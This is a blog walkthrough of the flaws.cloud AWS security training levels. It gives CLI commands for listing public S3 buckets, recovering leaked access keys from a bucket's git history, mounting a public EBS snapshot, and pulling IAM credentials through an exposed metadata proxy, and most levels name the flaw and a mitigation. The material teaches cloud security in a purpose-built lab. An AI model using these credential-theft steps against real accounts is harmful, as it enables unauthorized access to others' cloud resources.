Exploiting AWS 1 - A Beginner's Guide (Flaws.Cloud)

Exploiting AWS 1 - A Beginner's Guide (Flaws.Cloud)

Flaws.Cloud - Learn about common mistakes and gotchas when using Amazon Web Services (AWS) including S3, IAM, EC2, and more.

This is my walkthrough for flaws.cloud by summit route

Full video walkthrough:


Buckets of fun: Dead giveaway for S3 buckets and static websites can be hosted on S3

**Domain & Bucket Discovery**
# start by getting someinfor on the bucket
# since we're dealing with a domain here, we'll start with a nslookup
nslookup flaws.cloud
host flaws.cloud

# this shows us information about the domain but not everything we need
# lets enumerate further using the IP
dig +short -x

# dig gives a versbose result but using **[+short](https://explainshell.com/explain?cmd=dig+%2Bshort+example.com+%7C+grep+-oE+%22%5Cb%28%5B0-9%5D%7B1%2C3%7D%5C.%29%7B3%7D%5B0-9%5D%7B1%2C3%7D%5Cb%22+%7C+head+-1)** gives a more consice answer
# -x does a reverse lookup and must be paired with an IP address
# the results show that this is a S3 website hosted in **us-west-2**

**Bucket Enumeration**
# lets try to see if we can list the objects in the bucket
aws s3 ls s3://flaws.cloud/ --region us-west-2

# looks like we don't have the credentials to authenticate our s3 API calls
# lets try without credentials
aws s3 ls s3://flaws.cloud/ --region us-west-2 [--no-sign-request](https://docs.aws.amazon.com/cli/latest/reference/)

# with --no-sign-requests, we're telling the CLI not to sign the request or look for credentials
# with this looks like we can list the bucket's objects 
# lets look at the secret file in the browser... nice

# we could have also went on **flaws.cloud.s3.amazonaws.com** since we know it's s3 and we'll find the same info OR
curl -s http://**flaws.cloud.s3.amazonaws.com/ | xmllint --format -**

Vulnerability: Bucket's listing has it’s access permission set to "Everyone", yeah we don’t want that


Unauthorized Authenticated Access

# we'll be attempting access again but this time, from an **Authenticated AWS Account**
# start by configuring a profile using creds from an existing user account
aws configure --profile daycyberwox

# input your access key and access key id and set region to us-east-1 
aws s3 --profile daycyberwox ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud

# same result as before but this time we have access as an authenticated AWS user

Vulnerability: Bucket's listing has access permission set to "Any Authenticated AWS User", violating the principle of least privilege


Leaked secrets

# start by listing the objects in the bucket as an authenticated AWS user
aws s3 --profile daycyberwox ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/

# the aws bucket has a .git file...
# download and list the contents of the s3 bucket to the current directory
aws s3 --profile daycyberwox sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ .
ls -al

# Git log is a utility tool to review and read a history of everything that happens to a repository... so let's see
git log

# the logs show us interesting things, the numbers are the hash for the commits
# so lets check them out
git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61
ls -al

# ooooo some access_keys
cat access_keys.txt

# let's try to access stuff with the access keys
aws configure --profile havoc
aws --profile havoc s3 ls

# money baybee

Vulnerability: Bucket listing gives access to 'Everyone' and leaks AWS keys by accidentally committing it to git repo kept in the bucket. Leaked keys should be immediately revoked


Leaked & Unencrypted snapshots

# lets look at the host
host 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud

# we know there's an ec2 instance here but we can't access it...yet
# lets start by finding the account id using creds from our previous leak
aws --profile havoc sts get-caller-identity

# we can see the "backup user"
# lets now see all the snapshots associated with this user
aws --profile havoc ec2 describe-snapshots --owner-id 975426262029

# we can even see more if we run the same cmd without owner id
aws --profile havoc ec2 describe-snapshots --owner-id

# now that we have the snapshot, we'll wan to mount it aand see what's in it
# first, lets create a volume using the snapshot but specifically in the us-west-2 region
aws --profile daycyberwox ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89

# now go into the console **us-west-2** check volumes and you will seee
# then create an instance from the volume by selecting the snaphot in step 4 of instance creations using **/dev/sde** and **delete on termination**
# download the ssh key and put it in your operating folder
mv ~/Dowloads/havoc.pem .

# change the permissions on the key
chmod 400 havoc.pem

# ssh into the instance
ssh -i havoc.pem ubuntu@...

# first list information about all available block devices

# xvda1 is our available volume
# mount the volume you added during the creation (**snapshot volume**)
sudo mount /dev/xvde1 /mnt

# check volumes again

# dig around
# navigate to /mnt/home/ubuntu ad find the .sh file, grab the creds and login

Vulnerability: Publicly accessible EC2 snapshots


Metadata, too much data

# let's use the metadata service to see the instances metadata
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/

# we can navigate deep down and explore
# iam looks juicy
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/

# lets dig deeper
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/

# lets check the other one
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/

# access key id and secret access key secured
# now lets create a profile with that
aws configure --profile tornado

# now add you session token in ~/.aws/credentials
nano ~/.aws/credentials
aws_session_token = ..

# list objects
aws --profile tornado s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud

# check out the first result
aws --profile tornado s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/

Vulnerability: Exposed proxy which doesn't restrict access to instance's meta-data server and private IP range

Mitigation: Ensure your applications do not allow access to or any local and private IP ranges. Additionally, ensure that IAM roles are restricted as much as possible.


SecurityAudit Policy: Too much permission

# we already have the access key and secret so lets make profile
aws configure --profile cumulus

**IAM Enumeration**
# whoami
aws --profile cumulus iam get-user

# username appears to be Level6
# this info can be used to find what policies are attached
aws --profile cumulus iam list-attached-user-policies --user-name Level6

****# 2 policies are observed
# now that we have the **arn,** get the **version id**
aws --profile cumulus iam get-policy --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit
aws --profile cumulus iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways

# now view **actual policy**
aws --profile cumulus iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit --version-id v1
aws --profile cumulus iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4

# for apigateways we can GET all rest apis
# use the permissions allowed by the security audit policy to see things about lambda
aws --region us-west-2 --profile cumulus lambda list-functions

# lets get the policy on the Level6 function
aws --region us-west-2 --profile cumulus lambda get-policy --function-name Level6

# this shows that the **principal** is allowed to execute (**InvokeFunction**) this specified resource: {\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}
# lets view the **s33ppypa75** rest-api-id
aws --region us-west-2 --profile cumulus apigateway get-stages --rest-api-id "s33ppypa75"

# this tells us that the stage name is "Prod"
# lambda functions are called using that rest-api-id, stage name, region, and resource like:

Vulnerability: The securityaudit policy allow read access to IAM policies which can help an attacker scope an environment easily

Mitigation: Don't hand out any permissions liberally, even permissions that only let you read meta-data or know what your permissions are. Only enough permissions to do the job.

S3 Security Tools to Check out






Did you find this article valuable?

Support Day Cyberwox by becoming a sponsor. Any amount is appreciated!